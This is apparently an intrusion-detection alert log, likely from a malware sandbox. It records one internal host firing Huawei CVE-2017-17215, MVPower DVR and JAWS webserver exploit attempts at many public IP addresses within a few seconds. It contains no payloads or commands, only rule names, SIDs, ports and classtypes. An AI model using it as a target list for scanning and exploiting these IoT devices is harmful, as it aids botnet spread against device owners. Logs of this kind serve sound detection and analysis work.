ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.240.0.43

Timestamp:	06/01/24-18:15:54.255124
SID:	2829579
Source Port:	35932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.149.153.183

Timestamp:	06/01/24-18:15:56.307866
SID:	2829579
Source Port:	57742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 145.13.166.240

Timestamp:	06/01/24-18:15:54.239777
SID:	2025883
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.6.171.128

Timestamp:	06/01/24-18:15:54.254354
SID:	2829579
Source Port:	60452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 179.122.233.207

Timestamp:	06/01/24-18:15:54.239158
SID:	2025883
Source Port:	48614
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.238.207.251

Timestamp:	06/01/24-18:15:54.239397
SID:	2030092
Source Port:	48212
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.112.166.96

Timestamp:	06/01/24-18:15:54.253587
SID:	2835222
Source Port:	58096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 76.115.82.134

Timestamp:	06/01/24-18:15:54.240252
SID:	2030092
Source Port:	50940
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.74.251.91

Timestamp:	06/01/24-18:15:54.254379
SID:	2835222
Source Port:	34226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.35.183.52

Timestamp:	06/01/24-18:15:54.253466
SID:	2829579
Source Port:	45918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 152.30.254.243

Timestamp:	06/01/24-18:15:55.265687
SID:	2030092
Source Port:	44260
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.13.117.57

Timestamp:	06/01/24-18:15:54.256857
SID:	2829579
Source Port:	57300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.176.79.105

Timestamp:	06/01/24-18:15:54.252900
SID:	2835222
Source Port:	39892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 134.80.188.68

Timestamp:	06/01/24-18:15:54.239470
SID:	2030092
Source Port:	47694
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.15.216.154

Timestamp:	06/01/24-18:15:54.240104
SID:	2025883
Source Port:	42682
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 206.73.46.114

Timestamp:	06/01/24-18:15:54.239284
SID:	2025883
Source Port:	53154
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 58.199.54.70

Timestamp:	06/01/24-18:15:53.239740
SID:	2025883
Source Port:	60104
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.87.210.186

Timestamp:	06/01/24-18:15:54.274322
SID:	2829579
Source Port:	53616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.169.240.113

Timestamp:	06/01/24-18:15:56.305703
SID:	2829579
Source Port:	60002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.84.23.118

Timestamp:	06/01/24-18:15:54.254304
SID:	2829579
Source Port:	38486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.201.245.13

Timestamp:	06/01/24-18:15:56.245293
SID:	2030092
Source Port:	50556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.136.89.40

Timestamp:	06/01/24-18:15:56.306047
SID:	2829579
Source Port:	46258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.19.157.15

Timestamp:	06/01/24-18:15:54.274295
SID:	2829579
Source Port:	36022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 57.95.108.136

Timestamp:	06/01/24-18:15:55.268346
SID:	2030092
Source Port:	38108
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 107.118.12.96

Timestamp:	06/01/24-18:15:54.239857
SID:	2025883
Source Port:	43072
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.25.244.85

Timestamp:	06/01/24-18:15:54.253312
SID:	2829579
Source Port:	56290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.209.235

Timestamp:	06/01/24-18:15:56.288192
SID:	2829579
Source Port:	53054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.254.140.119

Timestamp:	06/01/24-18:15:56.305939
SID:	2835222
Source Port:	40892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.239.207.135

Timestamp:	06/01/24-18:15:56.254180
SID:	2025883
Source Port:	45154
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.40.58.241

Timestamp:	06/01/24-18:15:53.238016
SID:	2030092
Source Port:	60742
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.65.236.49

Timestamp:	06/01/24-18:15:56.254604
SID:	2030092
Source Port:	51930
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.144.64.245

Timestamp:	06/01/24-18:15:54.251572
SID:	2835222
Source Port:	45586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.229.155.141

Timestamp:	06/01/24-18:15:54.254529
SID:	2835222
Source Port:	49572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.145.26.98

Timestamp:	06/01/24-18:15:56.308432
SID:	2829579
Source Port:	59848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.131.43.249

Timestamp:	06/01/24-18:15:55.260926
SID:	2829579
Source Port:	54010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 222.37.4.5

Timestamp:	06/01/24-18:15:54.238913
SID:	2025883
Source Port:	33194
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.237.237.156

Timestamp:	06/01/24-18:15:53.238939
SID:	2030092
Source Port:	49564
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 32.62.55.43

Timestamp:	06/01/24-18:15:54.239435
SID:	2030092
Source Port:	44378
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 119.181.107.102

Timestamp:	06/01/24-18:15:56.245977
SID:	2025883
Source Port:	39866
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 197.114.181.205

Timestamp:	06/01/24-18:15:53.240541
SID:	2025883
Source Port:	54536
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.91.55.119

Timestamp:	06/01/24-18:15:54.253534
SID:	2835222
Source Port:	43954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.119.106.167

Timestamp:	06/01/24-18:15:56.305831
SID:	2835222
Source Port:	42754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.165.52.203

Timestamp:	06/01/24-18:15:55.259765
SID:	2829579
Source Port:	55908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.189.243.5

Timestamp:	06/01/24-18:15:55.262143
SID:	2829579
Source Port:	35928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.238.251.102

Timestamp:	06/01/24-18:15:56.246060
SID:	2030092
Source Port:	35452
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.243.242.44

Timestamp:	06/01/24-18:15:55.272711
SID:	2025883
Source Port:	60438
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 116.128.48.224

Timestamp:	06/01/24-18:15:54.240320
SID:	2025883
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 146.155.139.101

Timestamp:	06/01/24-18:15:54.239637
SID:	2025883
Source Port:	45958
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 77.156.147.3

Timestamp:	06/01/24-18:15:53.247342
SID:	2025883
Source Port:	36442
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.201.42.167

Timestamp:	06/01/24-18:15:56.305908
SID:	2835222
Source Port:	43726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.204.247.193

Timestamp:	06/01/24-18:15:54.256434
SID:	2835222
Source Port:	44020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.66.66.141

Timestamp:	06/01/24-18:15:56.288015
SID:	2835222
Source Port:	41204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 78.247.12.109

Timestamp:	06/01/24-18:15:53.238108
SID:	2030092
Source Port:	58212
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.72.207

Timestamp:	06/01/24-18:15:54.252848
SID:	2835222
Source Port:	45532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.42.3.37

Timestamp:	06/01/24-18:15:54.275905
SID:	2829579
Source Port:	45842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.24.234.239

Timestamp:	06/01/24-18:15:55.263691
SID:	2835222
Source Port:	57294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 205.249.54.111

Timestamp:	06/01/24-18:15:53.239032
SID:	2030092
Source Port:	51510
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.163.26.210

Timestamp:	06/01/24-18:15:55.263651
SID:	2829579
Source Port:	54962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 25.142.89.27

Timestamp:	06/01/24-18:15:55.267351
SID:	2030092
Source Port:	42234
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 133.130.243.96

Timestamp:	06/01/24-18:15:54.238224
SID:	2025883
Source Port:	49524
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 204.135.242.117

Timestamp:	06/01/24-18:15:53.240112
SID:	2025883
Source Port:	47714
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.86.82.86

Timestamp:	06/01/24-18:15:55.265552
SID:	2030092
Source Port:	46026
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.216.2.218

Timestamp:	06/01/24-18:15:56.288149
SID:	2829579
Source Port:	41042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.252.121.45

Timestamp:	06/01/24-18:15:53.241607
SID:	2030092
Source Port:	52886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.32.190.153

Timestamp:	06/01/24-18:15:56.308506
SID:	2835222
Source Port:	52032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.191.51.126

Timestamp:	06/01/24-18:15:55.261076
SID:	2835222
Source Port:	44092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.112.193.48

Timestamp:	06/01/24-18:15:55.261955
SID:	2835222
Source Port:	47172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.23.230.69

Timestamp:	06/01/24-18:15:55.263437
SID:	2835222
Source Port:	44642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 109.252.239.250

Timestamp:	06/01/24-18:15:56.254840
SID:	2030092
Source Port:	50144
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.152.126

Timestamp:	06/01/24-18:15:56.307552
SID:	2835222
Source Port:	60622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.12.1.243

Timestamp:	06/01/24-18:15:55.261791
SID:	2829579
Source Port:	52352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.181.139.113

Timestamp:	06/01/24-18:15:55.263326
SID:	2835222
Source Port:	60588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.80.139

Timestamp:	06/01/24-18:15:55.260639
SID:	2829579
Source Port:	49868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 219.191.228.10

Timestamp:	06/01/24-18:15:54.240221
SID:	2030092
Source Port:	53534
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.152.96.204

Timestamp:	06/01/24-18:15:54.255789
SID:	2829579
Source Port:	45840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.103.71.244

Timestamp:	06/01/24-18:15:54.275592
SID:	2829579
Source Port:	58496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.216.2.218

Timestamp:	06/01/24-18:15:56.288149
SID:	2835222
Source Port:	41042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.170.221.237

Timestamp:	06/01/24-18:15:56.254225
SID:	2030092
Source Port:	46648
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 92.228.245.159

Timestamp:	06/01/24-18:15:53.239527
SID:	2030092
Source Port:	34360
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 223.81.79.132

Timestamp:	06/01/24-18:15:53.241470
SID:	2030092
Source Port:	58476
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.208.140.239

Timestamp:	06/01/24-18:15:54.253978
SID:	2835222
Source Port:	33038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 42.11.130.136

Timestamp:	06/01/24-18:15:54.239497
SID:	2030092
Source Port:	45190
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.92.83.61

Timestamp:	06/01/24-18:15:56.288050
SID:	2835222
Source Port:	53540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.1.199.155

Timestamp:	06/01/24-18:15:55.260686
SID:	2829579
Source Port:	57732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 63.169.38.14

Timestamp:	06/01/24-18:15:56.245784
SID:	2025883
Source Port:	59086
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.25.43.161

Timestamp:	06/01/24-18:15:56.246812
SID:	2030092
Source Port:	43896
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 204.99.201.107

Timestamp:	06/01/24-18:15:56.245249
SID:	2030092
Source Port:	52570
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 188.86.168.160

Timestamp:	06/01/24-18:15:56.254966
SID:	2025883
Source Port:	58512
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 8.18.108.124

Timestamp:	06/01/24-18:15:56.245720
SID:	2025883
Source Port:	49594
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.33.225.228

Timestamp:	06/01/24-18:15:54.251192
SID:	2835222
Source Port:	37366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.209.163.86

Timestamp:	06/01/24-18:15:53.240505
SID:	2030092
Source Port:	50218
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 146.97.242.87

Timestamp:	06/01/24-18:15:53.239856
SID:	2025883
Source Port:	54416
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.146.68.75

Timestamp:	06/01/24-18:15:55.260509
SID:	2829579
Source Port:	60104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.12.66.222

Timestamp:	06/01/24-18:15:54.240636
SID:	2030092
Source Port:	39258
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.126.155.107

Timestamp:	06/01/24-18:15:54.253379
SID:	2835222
Source Port:	58048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.98.188

Timestamp:	06/01/24-18:15:55.258791
SID:	2829579
Source Port:	39256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.3.243.152

Timestamp:	06/01/24-18:15:54.253732
SID:	2829579
Source Port:	59608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 57.33.20.180

Timestamp:	06/01/24-18:15:56.244906
SID:	2025883
Source Port:	37372
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 191.185.132.251

Timestamp:	06/01/24-18:15:53.241435
SID:	2025883
Source Port:	48762
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.87.219.221

Timestamp:	06/01/24-18:15:54.274390
SID:	2829579
Source Port:	46806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.89.180.120

Timestamp:	06/01/24-18:15:55.262188
SID:	2829579
Source Port:	56490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.165.24.228

Timestamp:	06/01/24-18:15:53.238205
SID:	2030092
Source Port:	39456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.239.222.81

Timestamp:	06/01/24-18:15:54.274985
SID:	2835222
Source Port:	39966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 44.214.37.113

Timestamp:	06/01/24-18:15:53.247036
SID:	2025883
Source Port:	56362
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 99.223.38.236

Timestamp:	06/01/24-18:15:54.239818
SID:	2025883
Source Port:	50036
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 190.157.211.94

Timestamp:	06/01/24-18:15:54.240725
SID:	2025883
Source Port:	32974
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.225.16.119

Timestamp:	06/01/24-18:15:54.274063
SID:	2835222
Source Port:	49540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.167.64.175

Timestamp:	06/01/24-18:15:54.239975
SID:	2030092
Source Port:	55520
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

